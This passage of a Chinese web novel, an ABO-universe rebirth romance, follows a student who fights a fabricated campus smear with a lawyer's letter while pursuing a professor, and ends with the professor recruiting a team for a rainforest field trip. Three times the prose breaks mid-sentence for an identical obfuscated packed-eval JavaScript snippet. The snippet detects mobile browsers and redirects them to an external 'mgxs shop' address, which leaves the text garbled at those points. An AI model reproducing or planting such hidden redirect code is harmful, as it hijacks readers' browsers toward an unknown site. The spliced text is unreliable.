起因是周末有个omega一声不吭地退了群,紧接着昨天又有两个alpha和两个omega发了消息退群,十人小组只剩六个。 原骁是小群组长,他私信了最先退群的omega,结果发现自己已经被拉黑,问了后退群的三个人,他们也支支吾吾遮遮掩掩,什么都不肯说。 他莫名其妙,只能琢磨着再从班里找几个人来组队,结果组队的人没等来,就先等来宋锦转发一条表白墙挂人消息。 标题是《挂人!经院大二某alpha,插足当三,和别人的女朋友搞暧昧很爽吧?》 很有吸引力的标题,原骁瞬间就被吸引,点开就是长串的受害者发言和几张聊天记录还有一张转账截图。 原骁点开聊天记录,自己的头像赫然就在上面。 原骁:? 怎么回事,他记得上辈子没这个剧情吧?他什么时候当过三? 他皱着眉打开帖子,逐字逐句阅读。 【墙墙投稿。】 【匿。】 【挂经院大二某个叫yx的alpha,在明知道人家有男朋友的情况下几次三番骚|扰,性|暗|示女生,甚至偷偷给女生转账要求发生关系,有图为证。】 经院大二叫yx的alpha,但凡多刷表白墙捞人贴都能眼熟是谁,这帖子只差把原骁的身份证号报出来了。 【我是受害女生的男朋友,起因是收假后我和女朋友见面,她的聊天账号登了我的电脑,我无意中看见了她和yx寒假的聊天记录。】 【整个寒假yx都在借讨论学业之名骚|扰我的女朋友,包括但不限于大量暧昧语言,以及三次大额转账,甚至对正牌男友也就是本人进行诋毁侮辱,我忍无可忍最后决定把他挂出来,让更多人看清他的真面目,听说他去年还是经院的优秀学生代表,这种素质低下,行为恶劣的人也能当代表吗?】 【我话就放在这里,不服来找我对峙,别以为家里有几个臭钱就可以无法无天,做人总不能脸都不要吧?】 挂人小作文写完,紧接着就是聊天记录。 原骁一眼就看出聊天记录拼接过,聊天对象是小组群里其中一个omega,就是最先退群的那个。 现在早上第二节课,宏经老师还在讲台上讲他的包浆ppt,底下的学生却心照不宣地频频偷看手机,看完又转头偷看最后一排角落的原骁。 连宋锦都伸过头来:“怎么回事啊?这聊天记录和转账都有板有眼的,你真勾引人家女朋友去了?” 原骁皱起眉:“怎么可能?我们上学期有个省赛不是拿了奖吗,奖金打我账户了,老师让我们自己分,一共三万,一个人三千,这钱是她的奖金。” “她当时人在外面打工,差点付不起房租,说这笔钱来得太及时了,我问了几句才知道她家里出了事,她爸生病要做手术,我把我的奖金转了她两千,又在我哥的企业助学金里给她申了个名额,总共三笔钱八千块,我都有备注的。” 那些暧昧和性|骚|扰的聊天记录就是从中间断章取义截图拼凑出来的,转账的备注也打了马赛克,被误解成某种见不得光的交易口号。 “还有这事?我都不知道,”宋锦当时拿了奖金当晚就请人吃饭去了,最后入不敷出倒贴三百,完全没想到中间还发生过这些:“卧槽,那这不纯造谣吗?” 宋锦掏出手机:“我帮你发表白墙证明清白,我看评论区已经有人骂你了。” 这事说大不大,说小也不小,真闹大了影响不好,原骁肯定会被取消优秀学生代表评选的。 原骁想了想,还是掏出手机:“先别发,我问问她。” 他给omega发了两条消息想了解前因后果,发现还是拉黑状态,只能退出来,结果看见谈决那边发来了消息,居然也是表白墙那条的转发。 谈决也会看表白墙吗? 原骁下意识有点心虚,毕竟他刚送走个未婚夫,现在又被卷入“小三”“包养”的传闻,在他本就不强的竞争力上雪上加霜。 正想着,谈决那边又发了条消息。 【需要帮忙吗?】 这是什么意思?是相信他的意思吗? 他打字过去。 【怎么帮?】 谈决很快回他。 【这篇帖子的讨论已经很高了,对你的名声不太好,学校那边有老师对接表白墙的运营,可以勒令它把帖子删掉,并且不能再发任何相关话题。】 原骁一愣。 谈决没有质问他聊天记录是真是假,有没有做过,只是认真给他出了解决方案,真心实意想帮忙。 原骁正想说好,谁知表白墙又上新了,这次是几张照片,两张是之前表白墙投稿的捞人帖,是开学司机送原骁到宿舍楼下被拍的,下面几张是新的,一张是他在奶茶店门口发传单,一张是他和宋锦骑电动车回学校,路过校门口还买了两碗冰粉。 投稿内容是:【有些人开学租个车八百个机位抓拍发表白墙造势,背地里奶茶店打工买电动车,真当别人看不出来是吧?再装一个富二代试试呢?】 虽然图片上的人脸都做了打码处理,但原骁那张开学的抓拍照片很出名,当时在社媒还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185189|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了热搜,U大的人基本都能认出来,不过没多久就被原邃花钱撤了。 有了第一张照片,后面的人是谁大家自然会脑补。 这条帖子很快就又引来了很多人留言,这次不是一边倒群嘲辱骂,细心的人已经注意到了不对劲。 【仰泳的鱼:不是,投稿的都是同一个人吗?我不懂,yx骚|扰omega当小三跟他背地里买电动车打工有什么关系?为什么我只感觉到满满的恶意?】 【KK:回楼上,应该是发现了yx的丑恶嘴脸收集了证据一起锤吧,毕竟他在学校里装挺好的,又是“顶级富二代”又是“校草”,又是经院学生代表又是特战班学员,人设凑一块挺招笑的,居然还有那么多人信。】 【校园跑爆炸:我觉得这事挺难说,正常alpha为什么会翻女朋友的聊天记录还截图,这事他女朋友知道吗?既然被骚|扰了为什么不拒绝转账也不出来发声?还是先围观吧。】 很快这条帖子下面又吵得不可开交。 宋锦想破天也没想到有人会拿着原骁骑电动车的照片锤他不是富二代:“不是,骑电动车低人一等吗?我们小公主招谁惹谁了?” 小公主是宋锦给车取的名字,因为看着粉嫩可爱,出门回头率还特别高。 宋锦刚要给自己的电动车正名,紧接着就发现了什么:“我操什么情况?已经有人把我们学校的帖子截图挂到其他平台了。” 这一看就是有人造谣挑事,还是有预谋那种,看见自己的照片,原骁反而改变了主意,继续给谈决发消息。 【不用删。】 删了帖还不好追责,热度高了才方便立案。 他退出聊天界面,正好看见女方给他发了消息,应该是把原骁放出黑名单了。 第一句话就是道歉。 【不好意思原骁同学,我不知道会发生这种事,前几天我借了前男友的电脑登录写作业,不知道他偷看了我的聊天记录,后来我跟他吵架分手了,他登了我的号把小组群退了,还到处跟人说你骚|扰我,让他们也一起退群,我也是刚刚才知道这件事……对不起对不起,真的很对不起,我没想到他会做这种事,我会立刻发帖帮你澄清的。】 原骁没说什么,只是再次确认: 【你确定这件事你不知情,表白墙的帖子也和你无关?说真话。】 omega那边回复也很果断。 【我确定。】 那这事就好办多了。 【那你暂时别发帖,等我这边通知。】 他上辈子没遇到这件事,是因为他上辈子这个时候已经结婚了,想造谣也没机会。 他完全标记了谈决,就要为谈决负责,虽然心里很不愿意,但领了结婚证后他还是发朋友圈官宣了,两个红本本的封面可吓坏了一群人。 现在他和谈决没结婚,就有人造谣他当三。 都是因为谈决不跟他结婚,一切才会演变到这种地步。 他发消息给原邃派个法务来解决,三言两语交代完情况,又点开了谈决的聊天框开始抓住机会装可怜。 【我是不是很差劲啊谈决?】 谈决以为他被网暴想不开,吓了一跳,回复很快。 【没有,你为什么会这么想?】 原骁噼里啪啦打字。 【那为什么没人愿意跟我结婚?】 谈决不能理解,发了个困惑的“?”过来。 原骁继续诉苦。 【都是因为我没结婚,没人要,人家才造谣我是小三。】 【我什么时候才能结婚啊。】 【可怜.jpg】 15. 拍拍 谈决显然理解不了他的脑回路,所以沉默了很久都没回消息。 原骁一动不动地盯着,想看看对方的反应,可是谈决沉默越久,他就越没底,他担心谈决觉得自己在道德绑架,正想发句别的转移话题,谈决却回应了。 【别这么说自己,你不是小三。】 【造谣是别人的错,不要因为和不值得的人较劲而匆忙走入婚姻。】 最后他还专门回了原骁那个泪眼汪汪的可怜表情包。 【别难过,拍拍。】 原骁惊呆了。 谈决聊天从来都一个风格,简洁明了公事公办,每句话后面都十分严谨地加上对应的标点符号,也不发表情包。 可现在他对着原骁随手发的表情包都要认真回应,还要拍拍。 原骁看着那条消息,心里第一万次觉得谈决可爱,他干脆连课都不听了,专心趴桌上聊天,宋锦以为他在因为谣言的事不痛快,正打算安慰两句,伸过头一看,alpha盯着屏幕,唇角翘得老高。 这状态宋锦可太熟悉了,跟青春期情窦初开的少男少女第一次恋爱似的,一点点风吹草动在心里都是一次惊涛骇浪。 他原本还以为原骁只是口嗨玩玩,现在看对方是真的想破了头在谈恋爱。 原骁才不管身边不停叹气的宋锦,只是继续和谈决发消息。 【你为什么那么相信我?万一我和帖子里说的一样,是个人面兽心,装模作样的败类alpha怎么办?】 谈决这次回得很快。 【你不是那种人。】 原骁不明白了。 【那我是哪种人?】 谈决想了想。 【有点……傻,但对人很好。】 一个在易感期骑着电动车到omega家做了顿饭又骑车回去的alpha,一个愿意陪陌生omega在海边捡一下午贝壳,然后得知寄居蟹会咬人后彻底失去表情管理的alpha。 谈决大部分时间都在研究所,就算要上课,也会离学生的生活很远,但是原骁入学那年,他破天荒地关注了U大那个腥风血雨的表白墙,还在捞人帖见过原骁很多次。 他对alpha的信任源于日积月累的观察,而不是简简单单一顿饭,但这些都是隐秘的,不能启齿的,他绝不会说。 原骁看着那句“对人很好”,不知想到什么。 【……其实我也不是对所有人都好。】 谈决回他。 【但你对我很好。】 看到这条消息,原骁罕见的沉默一会儿。 因为上辈子他对谈决不好。 所以老天惩罚了他,惩罚他看着谈决冷冰冰的尸体和墨迹未干的遗书,惩罚他一遍遍翻看谈决的病例,再听心理医生一遍遍说起对方生前的痛苦。 原骁从来不觉得自己是恶人或者坏人,但谈决的死像是一条无形的绳索,日日夜夜都缠在他的脖颈上,他的负罪感并没有随着时间的流逝而淡化,反而越来越强烈,时间越长,绳子就越紧,最后终于有一天彻底勒断了他的头颅。 但好在命运垂怜了他,给了他一次重来的机会,让他在悲剧发生之前做出改变,弥补过去。 所以他不敢对谈决不好。 【以后会更好的。】 他发完这句话,又在心里暗下决心,一定说到做到。 谈决发了一句“谢谢”,alpha主动过很多次,而且好像永远不肯放弃,他现在已经在学着坦诚接受不了而不是下意识拒绝。 说完他又想起什么,给原骁发了张照片。 【这是P图吗?】 是表白墙那张原骁在奶茶店打工的照片,alpha穿着和奶茶店logo同色系的工作服,笑眯眯地请路人品尝新品,往店门口一站就跟个男模似的。 以谈决对原骁的了解,这人再穷也不可能沦落到去奶茶店打工,这张图片看着又真又假的。 原骁回忆了下。 【不是,是大一上学期的事了。】 当时宋锦的妹妹灵机一动,说要成立自己的小众奶茶品牌,斥巨资在商业街租了个店,又斥巨资搞了个华丽无比的装修,临近开业了要搞宣传活动,宋锦被她缠得没办法,用无数声的爸爸换原骁去发了三天传单。 谈决平常不怎么喝奶茶,听说原骁做的宣传,也有些好奇。 【那这家店还在吗?】 原骁面无表情的打字。 【倒闭了。】 刚开业那几天奶茶店小火了一把,人满为患,一个月后店里只剩下一些来拍写真出片的omega,两个月后奶茶店倒闭歇业,亏损了将近两百万。 后来两兄妹被宋父臭骂一顿,妹妹又老老实实回去上学了。 谈决听完不知道该说什么:“……” 原骁见谈决对奶茶那么感兴趣,正打算上网学学怎么煮奶茶,下课铃却突然响了。 老师把作业发班群,踩着点下课走了。 原骁一节课都在摸鱼,现在肚子饿,他收拾课本站起来,无数道八卦的目光就不约而同地盯住了他。 谣言传播的速度是很快的,短短两节课原骁知三当三的八卦就已经满天飞,连宋锦都察觉到那些微妙的打量,他不悦地皱起眉,正要说点什么,原骁却拍拍他的肩膀。 “走,吃饭。” 他好歹也是活了两辈子的人,懒得计较这么点事。 他现在最期待的就是周四下午的特战生理讲座,这周是谈决的第一节课,他们第一次以师生的身份在教室见面。 法务那边还在取证,说过几天才会有结果,原骁像个没事人一样,每天上上课,写写作业,打打球,然后见缝插针地给谈决发消息,问他有没有好好吃饭,需不需要自己去他家当田螺小子。 然而谈决拒绝了,因为接下来几天谈决肉眼可见地忙碌起来,原骁一天发二十条消息,谈决只有在起床或者下班的时候回一两条,原骁知道实验室很忙,工作也很辛苦,就再也不频繁发消息,只叮嘱他好好休息早点睡,然后等着周四下午和谈决见面。 然而临到周四,早上八点,特战班的班群里却忽然发通知,说特战生理的讲座要延迟到第四周再开。 原骁整个星期的期待落空,彻底愣住了。 他就说吧,不和谈决结婚,他连和对方多聊几句都是奢侈,想见一面更是难如登天。 他难免有些挫败,又不能去问谈决为什么不来上课,毕竟研究所有自己的进度,谈决有自己的打算,他只是心情坏到了极点,又无从下手。 宋锦倒是兴高采烈,他一贯秉持着“多一课不如少一课”的心态,也不想和老师谈恋爱,见下午空出来了,心情大好,问原骁想不想双排上分。 老婆都见不到了,原骁哪里还有心情双排:“不打,烦。” 宋锦:“干嘛?谁又惹你了?” 原骁:“没谁惹我。” 正好法务那边把律师函和取证材料整理出来,他认真看了一遍,觉得没问题又发给受害女生签字。 一切准备就绪之后,这封律师函毫无悬念地发到了造谣alpha手中。 一小时后,表白墙和社交媒体上所有关于原骁的帖子都被删除,还在吃瓜讨论的人也陷入了茫然。 而与此同时,原骁突然收到一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185190|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好友申请。 【原骁同学你好,我是孙勇,我想向您道歉。】 造谣的alpha就叫孙勇,是U大体育学院大三的学生,仗着不在一个校区,又快毕业就无法无天,不仅在校园表白墙发帖造谣,还私底下联系了社交媒体上的营销号投稿。 原骁现在心情很不好,他毫不犹豫地点了拒绝。 人总要为自己做的事付出代价,轻飘飘一句道歉就有用的话,不就是在暗示这些人造谣没成本? 他不知道屏幕那边的alpha是不是抓心挠肺一整夜睡不着,因为这不关他的事。 当然原骁睡得也不太好,因为周四一整天谈决都没回他的消息。 周五,谈决还是没给他发消息,倒是特战班临时通知他和宋锦晚上八点去开会,原骁兴致缺缺,上完高数课准备回公寓,就被一个陌生的alpha拦在了教室门口。 “原骁同学!” 这一声太急切,还破音了,瞬间就把教室里还没走的人吸引住。 原骁看他一眼:“找我有事?” “我、我是孙勇。”孙勇果然彻夜难眠,艰难地说出自己的名字。 原骁终于看清了这个背地里造谣惹事alpha的真面目。 他比原骁矮,但身形健壮,剃着寸头,此刻一双眼睛瞪圆,里面全是血丝,或许是因为精神太紧绷,信息素微微有些失控,身上还散发着一股隔夜没洗澡的汗臭。 “我想向你道歉……”教室里人来人往,不少目光落在他们身上,但孙勇已经顾不上那么多了。 收到律师函的那一刻,他感觉天都塌了。 他从来没想过一条帖子就会造成这么大的影响,甚至到了会影响他前途的地步。 他只是看不惯他的omega和别的alpha聊天,听不惯女朋友夸原骁的好,更看不惯这个人假装善意给别人转账,有几个臭钱就到处显摆! 他越了解就越发现原骁的虚伪,对方故意把豪车开到学生宿舍楼,让别人抓拍,再把照片发到表白墙,发到网上,让别人都夸他又帅又有钱。 然而实际上呢?他背地里却打工,骑着辆娘炮电动车到处兜风,到底是谁会信他这幅强装松弛的伪善嘴脸? 他看着那一条条关于原骁的消息,又看着自己女朋友的态度,他感觉原骁在明里暗里挑衅,暗示自己没用,他气得快发狂,结果女朋友还要反过来说她无理取闹,和他大吵一架后还发消息分手。 他只是想让所有人都看清alpha的丑恶,所以把保存下来的聊天记录重新剪辑拼接,让所有人都能看到重点,他只是在替所有像他一样被撬墙角,被挑衅的alpha发声,怎么能算造谣呢? 可那张律师函实实在在送到了他手里,镜天集团法务部的盖章是业界看了都会摇头的程度,他现在的掌权人原邃带领的法务团队曾在法庭上九战九胜。 虽然孙勇家庭条件还不错,但他怎么可能抵抗这么大的能量? 他瘫坐在宿舍想了一晚上,都没想明白事情为什么会演变到这种地步,直到天亮时,他才注意到自己发的好友申请第一句是“原骁同学”。 因为原骁姓原。 他连洗漱都赶不上,慌忙奔出宿舍,从北校区赶到南校区,他花了好大的力气才弄到原骁的课表,忐忑不安地爬上教学楼,终于看见了教室角落里的alpha,那些曾经看起来虚荣伪善的面具此刻都变成了权势为他镀上的金光,是那么耀眼。 他鼓起勇气把人拦下,在众人的围观下,求饶一样狼狈开口:“对不起原骁同学。” “我错了,我不应该造谣的……我真的知道错了!” 16. 雨林考察 “表白墙那事儿是我的错,是我一时冲动……我现在郑重向你道歉。” 原骁没想到他居然在人来人往的教室就给自己堵住了,简直一点礼貌都没有。 “道歉?”他反手拎着书包,觉得这话有点好笑:“道歉有什么用?现在事情闹那么大,我的名字和照片满天飞,你道歉就能弥补吗?” 宋锦收好书包出来,看见孙勇的样子,立马明白了:“原来你就是在表白墙造谣那傻逼啊,你有病吧?” 见教室里有人悄悄围观,还有人拿出手机拍摄,他故意提高了声音:“人家正常交流到你嘴里就是知三当三,人家给同学发比赛奖金到你嘴里就成包养?你有本事就把聊天记录全发出来,拼图什么意思?造谣没成本吗?” 他声音越高,孙勇的脸就红一截,最后连脖子都红了。 但是律师函压在头上,官司要是打输了,他一定会全校出名,他死死盯着原骁:“求你了原同学,我真不是故意的,我还要找工作……不想上法庭。” 可不管怎么求情,原骁都没反应,他可没有在大庭广众丢脸的爱好:“有什么事和我的律师说,让开,我要开会。” 他转头打算走前门,孙勇却急忙追上来:“等一下,等一下!我求求你,我给你下跪!我给你下跪行不行?” 他一边说着一边就要跪下来,原骁后退一步,忍不住骂道:“你有病吧?别跪我。” 到时候又要说他仗势欺人霸凌同学。 孙勇已经没办法了:“我真的知道错了,我爸要是知道这事一定会骂死我的……你要怎么才肯原谅我?” 原骁感觉这几天被疯狗缠上了,烦得不行,他深吸了口气,拿出最后一点耐心:“你不想上法庭?可以。” “是的我不想!一点都不想!”孙勇点点头,眼底迸射出希望的光。 “但这事不可能就这么过了,你怎么断章取义造谣,怎么私联营销号抹黑我,你自己一五一十去说明白,公开道歉不难吧?” 孙勇脸色有些难看,公开道歉不就意味着所有人都知道他做的事,到时候学校所有人都知道他在造谣,这和被判刑有什么区别? 唯一的区别只在于他不用上法庭。 宋锦一眼就看出他不情愿,打量着他:“兄弟,做人就要敢做敢当,公开道歉而已,你不会连这都做不到吧?” 孙勇抹了把额头上的汗,脸色一会儿红一会儿白,过了一会儿才咬着牙重重点头:“行!我公开道歉!” 原骁:“记住,你不光造谣了我,还造谣了一个无辜的omega,不要避重就轻,也别想蒙混过关,道歉信写好了先发给我的律师看看,还有没事别来打扰我。” 他说完就直接绕过孙勇,头也不回地出了教室,宋锦临走前瞥了一眼藏在角落里的几个摄像头,笑了笑:“你们拍视频可以,不要学他乱造谣哦。” 他语气和善,但莫名有点警告意味,其他人下意识把手机收起来,原骁和宋锦却已经消失在空荡的教室,原地只剩一个心如死灰的孙勇。 越高等的学府,就越多家境殷实的学生,像U大这种要么卷能力要么卷家境的学校,有背景的学生可不少,就连造谣的孙勇家里也有个小几百万,但表白墙挂人能闹到发律师函的确实比较少见。 而且孙勇前几天才信誓旦旦说人家装阔少骚扰omega,今天就灰头土脸来道歉,甚至想当着教室那么多学生下跪,就算不知道中间发生过什么,但有点眼力的都能看出原骁家境不简单。 他们把相册里的视频看了又看,最后还是决定多一事不如少一事,默默点了删除。 “我说真的,那傻逼就是贱骨头,看人下菜碟,他要是早知道你爸是谁,给他十个胆子也不敢造谣你,现在知道自己快死了就腆着脸来道歉,我敢打赌他心里肯定还在骂你,欺软怕硬的怂货。”宋锦忿忿不平。 这种人就这样,遇到比自己弱的就欺负打压,遇到比自己强的就摇尾乞怜,原骁上辈子也见过不少。 “而且粉色电动车到底惹谁了?我们小公主才是真正的无妄之灾。” 宋锦还在介意自己的爱车被攻击的事。 原骁本来心情不太好,听见这话也笑了:“那你让孙勇给你的小公主也公开道个歉,正好他道歉书还没发。” 好像不错?宋锦果然有点心动,但很快又否定了:“不行,那也太傻逼了。” 嘴上抱怨两句得了,真逮着对方道歉就有点神经了。 他们晚上还有个会,是特战班临时通知的,现在离开会还有三个小时,原骁拿出手机翻了翻,忽然看到什么:“啊,赵妈妈私厨今天重新开业了。” 话题转变得太快,宋锦没跟上:“啊?” 原骁:“小公主的钥匙呢?” 宋锦:“在我宿舍。” 原骁干脆把书包扔给他:“你去拿钥匙,我们出去吃饭,快点,晚了吃不到猪排饭。” 宋锦:“……” “赵妈妈私厨”是家餐厅的名字,位置就在U大旁边一个不起眼的小巷,店长就是赵妈妈,原骁很喜欢来。 前段时间赵妈妈的女儿生了对双胞胎,孩子带不过来,她只能把店关了去照顾孙子,这两天才回来。 餐厅环境一般,去晚了还占不到座位,于是晚上六点,宋锦和原骁坐在露天的街边,十米远的地方还停了辆粉色电动车。 “小原同学来了?几个月不见,越长越帅了!找没找对象啊?”赵妈妈慈眉善目地开着玩笑。 “没,还在追,不知道人家能不能看上我。” “喔唷那可得加把劲了,现在的omega可难追得很……你努努力争取下次带对象来这儿吃饭,赵妈给你们免单!” “行啊,”原骁轻车熟路的勾菜单,一边和赵妈妈说话,他笑眯眯的,又特意叮嘱要多打包一份猪排饭和一份紫菜蛋花汤,猪排饭要大份,咖喱和猪排要分开。 一到这种时候,宋锦就开始怀疑原家那种家庭是怎么养出原骁的,原越庭是个老狐狸,原邃青出于蓝而胜于蓝,是个不择手段的小狐狸,原朔是个暴力狂,在反恐特种部队风生水起,他们一家子的共同点就是手黑心狠,唯独原骁是个例外,这人简直阳光开朗到有点不正常,甚至还带着点平易近人的烟火气。 宋锦越看越觉得诡异,不由皱起眉:“打包给谁的?” 原骁:“你别管。” 他打包给谈决的。 谈决已经好几天没理他了,今天周五,他放假,谈决也要下班,谈决没时间,他可以主动去送饭。 赵妈妈私厨是谈决鲜少能喜欢的外卖,上辈子原骁给谈决几次,但从来没带对方亲自来吃过。 一来谈决没时间,二来原骁没理由。 他不说,宋锦却猜出来了:“不会是给谈教授的吧?” 原骁愣了下,没否认:“嗯。” 宋锦:“你两真有情况?我以为你上次唬我呢。” 一说这个原骁就烦:“没唬你,但我还在追……他工作太忙了,现在我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185191|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和他还停留在每天互道早安晚安的程度。” 宋锦有过两段,但都是人家追他,给不了太多建议,何况原骁要追的还是他们的教授,他想想就觉得画面很恐怖。 “算了,我慢慢来吧。” 原骁抓了下头发,低头开始吃饭,没动几筷子,手机却“嗡嗡”振动了两下。 是谈决发过来的信息。 【今天开了一整天的会,没看手机。】 原骁单手打字。 【没关系。】 【今天几点下班?我给你买了晚饭。】 他不用猜都知道谈决没吃饭,对方这几天忙得晕头转向,连聊天都没什么精神。 【不知道,待会还有个会。】 原骁下意识皱起眉,这样下去身体怎么受得了,但他不想给omega太多压力,只能安慰。 【没关系,我等你下班。】 谈决没再回复,应该是又去忙了,原骁和宋锦慢悠悠吃完饭,又骑着电动车打道回府,因为中途在夜市买了点水果,时间就耽搁晚了,等他们赶到会场时,已经迟到了三分钟。 “报告。” 办公室里坐着八个特战班的学生,加上宋锦和原骁一共十个,另一边坐着特战班的班主任,教官,还有几个陌生的研究员。 原骁一眼就看见了最中间的谈决。 他穿着白大褂,正在翻阅着手边那沓资料,似乎在评估什么,听到声音后,不由转过头,目光一怔。 原骁也愣住了。 谈决?他怎么会在这里? 意外过后就是一阵狂喜,谈决眼睁睁看着alpha眼睛越来越大,眼神越来越亮,几乎高兴地要扑过来了,他只能转开目光,面无表情道:“请进。” 他在余光里看见了alpha瞬间熄灭的眼神,有些过意不去,等alpha落座,他才将思绪转回来:“发下去。” 助理接过他手中那一沓文件,按照姓名分发给特战班的学生。 “我长话短说,三天后研究所会到西南雨林考察,为期半个月左右,因为雨林环境恶劣,样本寻找艰难,所以研究所筛选了十名特战班的同学共同辅助完成本次考察。” “你们会出现在这里,就意味着已经通过了学校和研究所的双重筛选,但我尊重个人意愿,不想参加考察的同学可以直接提出来。” 只要是特战班的同学,都或多或少听过谈决的名字,知道他在研究所的地位,能和谈决一起去野外考察,那是多少人求之不得的镀金机会。 没人说话。 “好,”谈决明白也他们的态度,又接着说话:“你们手上拿的研究所整理考察手册,里面会告诉你们考察的任务和注意事项,我希望你你们在出发前能够背熟。” “这里还有一份保密协议,签字以后,所有人不得透露任何与考察相关的内容。” 他语气严肃,其他人连忙捣蒜似地点头。 “好了,我说完了,”谈决见状终于放下心来,他捏了捏眉心:“没有异议就签字吧,签完就可以走了。” 他做事很利落,一点不拖泥带水,其他人见状都有些无措,手忙脚乱地借笔签字,又手忙脚乱地交上协议。 原骁拖拖拉拉把保密协议签好交回助理手里,他下意识看谈决,对方却只是盯着手中的文件,眼皮都没抬。 谈决工作的时候就是这样,他在心里叹了口气,转身往外走,却听omega在背后开口。 “原骁同学留一下。” 17. 护食 原骁下意识回头,omega静静看着他,仍是一副公事公办的样子。 宋锦悄悄看了谈决一眼,又看了原骁一眼,表情有些古怪,不知道是想让兄弟加油还是让兄弟自求多福:“我先走了。” 他挥手拜拜,原骁点点头,又重新回到座位。 等同学们陆续走光,办公室里只剩谈决和几位教官。 谈决把文件放回桌上:“特战班那边需要一个领队,我们综合考虑了所有人,觉得你比较合适。” 特战班的学生都很优秀,而且非富即贵,谁也不服谁,原骁综合素质是第一,而且人缘好有背景,当领队再合适不过。 “可以,”原骁想也不想就同意:“那我该做什么?” 谈决想了想:“雨林条件不太好,考察队只能住民宿,到时候你要负责和本地向导对接,安排住宿水电,然后及时和我报备队员情况。” 简而言之就是全能保姆,哪里需要哪里搬。 原骁点点头:“可以,我回去拟个计划书,出发前发给老师。” 谈决:“……好。” 谈决说完就没再出声,办公室很快就沉默下来,原骁还等着他安排别的,结果好半天都没动静,一抬眼,就看见谈决在皱着眉看手机,似乎不太高兴。 很快他就拨通了个电话:“喂。” “我看见报告了……为什么实验结果又不一致?你确定两次变量一致,没有其他干扰?” 电话那头在解释什么,谈决静静听着,偶尔捏住眉心,脸上带着显而易见的疲态。 “好我知道了,我待会过来。” 电话打到一半,他才注意到原骁还在办公室,只能对电话那头道:“……稍等。” “你先回去吧,具体的细节我之后再找你商量。” 原骁想说劝他别太劳累,但碍于办公室人多,还是忍住了:“好。” 他离开办公室,关好门,却没急着离开,天已经完全黑了,教学楼里黑黢黢的,只有零星几间教室亮着灯,他站在角落里,等了接近二十分钟,办公室大门终于打开了。 先是特战班的几位教官,说说笑笑地下楼,然后是谈决和他的助理。 谈决等助理锁好门,又看了眼时间:“九点了,小沐你先回去吧。” 叫“小沐”的omega显然愣了下:“没事的……您不是要回研究所看光敏实验的结果吗?我陪您过去。” 谈决却摇摇头:“不用,我只过去看一眼,看完就下班。” 小沐原地纠结了一会儿,还是把文件递给了谈决:“好吧,那我先走了,您也注意休息。” 谈决:“好。” 小沐刚要走,谈决又想到什么:“对了,你这周末是不是要去K市看你父母?” 小沐:“是的……我两周前跟您报备过,买了今晚一点的飞机,不过您放心,我会在考察前准时赶回来,不会耽误进度。” 谈决点点头,从胸前的口袋里抽出三张卡片:“这儿有几张礼品卡,每张有一千的额度,你拿去给二老吧。” 小沐愣了下:“不用不用,这怎么好意思,我刚来研究所不久……” 小沐是半年前才来的研究所,他非常上进,但家境不太好,父母又都在K市,所以非常节俭,宁愿每天多挤两三个小时地铁也不舍得租近处的房子。 谈决知道他家里的情况,也知道omega一个人在大城市打拼有多不容易:“这些是镜天集团送的,年底就过期了,不花钱。” 小沐这才不好意思地接过来:“……谢谢谈老师。” 谈决:“去吧,待会堵车了。” “嗯!”年轻的omega拿着礼品卡,高高兴兴地下了楼,谈决这才抱起手机的文件。 原骁站在角落里旁观了全程。 那三张礼品卡一直在谈决的口袋里,说明他早就知道小沐今晚要回家,提前准备的。 他一直觉得像谈决这种在某个领域技术过硬的人,在人情世故上会有所欠缺,比如上辈子,谈决90%的时间都在工作,所以他没什么朋友,也没什么社交,唯一和工作不沾边的就是原骁和他的心理医生。 但谈决自杀后,有新闻媒体到研究所采访0218特效药的研发人员,项目组所有人都选择了拒绝。 谈决把0218问世的功劳留给了项目组所有人,但同样的,所有人都拒绝了这份荣耀,他们尊重谈决的选择,没有强行把他的名字曝光给媒体,也没有一个人站出来抢功。 现在看来,事情并不是原骁想的那样,谈决绝不是不懂人情世故,相反他更温柔,更细腻,也更纯粹。 他对所有人都好,除了自己。 原骁站在黑暗中出神,他看着谈决打开手机和同事聊天,走廊灯光照出omega的身形,看起来清瘦,羸弱,骨子里却像钢铁一样坚韧,宁折不屈。 原骁慢慢走出黑暗:“……谈老师。” 听见脚步声,谈决下意识回过头,在看清来人后,他也愣了一下:“你没走?” 原骁:“在等你。” 这里是教学楼,公共场所,不是校外,也不是谈决家,谈决果然有些不自在:“……有什么事吗?” 原骁没靠太近,只是保持了一个礼貌的距离:“不吃饭吗?” 谈决:“研究所还有……” 原骁皱了皱眉,打断他:“吃完再去。” 